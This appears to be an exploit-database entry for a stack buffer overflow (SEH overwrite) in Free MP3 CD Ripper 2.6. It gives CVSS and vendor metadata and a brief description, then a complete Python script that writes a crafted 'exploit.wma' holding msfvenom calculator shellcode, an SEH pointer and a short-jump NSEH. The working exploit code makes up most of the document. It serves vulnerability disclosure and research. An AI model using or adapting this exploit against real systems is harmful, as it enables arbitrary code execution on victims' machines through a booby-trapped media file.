Free MP3 CD Ripper 2.6 - '.wma' Buffer Overflow (SEH)

vendor:

Free MP3 CD Ripper

by:

Gionathan 'John' Reale

7.8

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Free MP3 CD Ripper

Affected Version From: 2.6

Affected Version To: 2.6

Patch Exists: YES

Related CWE: N/A

CPE: 2.6

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 7 32bit

2018

Free MP3 CD Ripper 2.6 – ‘.wma’ Buffer Overflow (SEH)

Free MP3 CD Ripper 2.6 is vulnerable to a buffer overflow vulnerability when a specially crafted .wma file is opened. This can be exploited to execute arbitrary code by overwriting the SEH handler with a pointer to the malicious code. The malicious code can be injected by running the python exploit script which will create a new file with the name 'exploit.wma'. When the program is started and the file is opened, a calculator will pop up.

Mitigation:

The vendor has released a patch to address this vulnerability.

Source

Exploit-DB raw data:

# Exploit Title: Free MP3 CD Ripper 2.6 - '.wma' Buffer Overflow (SEH)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-09-13
# Software Link: http://www.commentcamarche.net/download/telecharger-34082200-free-mp3-cd-ripper
# Tested on OS: Windows 7 32bit
# Tested Version: 2.6
# Steps to Reproduce: 
# Run the python exploit script, it will create a new file with the name "exploit.wma". 
# Start the program and click on "Convert". 
# Find the file "exploit.wma" and click "Open" 
# You will see a calculator poped up.
  
#!/usr/bin/python  
    
buffer = "A" * 4116
 
NSEH = "\xeb\x06\x90\x90"
 
SEH = "\x21\x21\xe4\x66"
nops = "\x90" * 8
#badchar \x00\x0a\x0d\x2f
#msfvenom calculator
buf =  ""
buf += "\xba\x9a\x98\xaf\x7e\xdd\xc2\xd9\x74\x24\xf4\x5f\x29"
buf += "\xc9\xb1\x31\x83\xc7\x04\x31\x57\x0f\x03\x57\x95\x7a"
buf += "\x5a\x82\x41\xf8\xa5\x7b\x91\x9d\x2c\x9e\xa0\x9d\x4b"
buf += "\xea\x92\x2d\x1f\xbe\x1e\xc5\x4d\x2b\x95\xab\x59\x5c"
buf += "\x1e\x01\xbc\x53\x9f\x3a\xfc\xf2\x23\x41\xd1\xd4\x1a"
buf += "\x8a\x24\x14\x5b\xf7\xc5\x44\x34\x73\x7b\x79\x31\xc9"
buf += "\x40\xf2\x09\xdf\xc0\xe7\xd9\xde\xe1\xb9\x52\xb9\x21"
buf += "\x3b\xb7\xb1\x6b\x23\xd4\xfc\x22\xd8\x2e\x8a\xb4\x08"
buf += "\x7f\x73\x1a\x75\xb0\x86\x62\xb1\x76\x79\x11\xcb\x85"
buf += "\x04\x22\x08\xf4\xd2\xa7\x8b\x5e\x90\x10\x70\x5f\x75"
buf += "\xc6\xf3\x53\x32\x8c\x5c\x77\xc5\x41\xd7\x83\x4e\x64"
buf += "\x38\x02\x14\x43\x9c\x4f\xce\xea\x85\x35\xa1\x13\xd5"
buf += "\x96\x1e\xb6\x9d\x3a\x4a\xcb\xff\x50\x8d\x59\x7a\x16"
buf += "\x8d\x61\x85\x06\xe6\x50\x0e\xc9\x71\x6d\xc5\xae\x8e"
buf += "\x27\x44\x86\x06\xee\x1c\x9b\x4a\x11\xcb\xdf\x72\x92"
buf += "\xfe\x9f\x80\x8a\x8a\x9a\xcd\x0c\x66\xd6\x5e\xf9\x88"
buf += "\x45\x5e\x28\xeb\x08\xcc\xb0\xc2\xaf\x74\x52\x1b"
pad = "B" * (4440 - len(NSEH) - len(SEH) - len(buffer) - len(nops) - len(buf) )
 
payload = buffer + NSEH + SEH + nops + buf + pad
try:
    f=open("exploit.wma","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"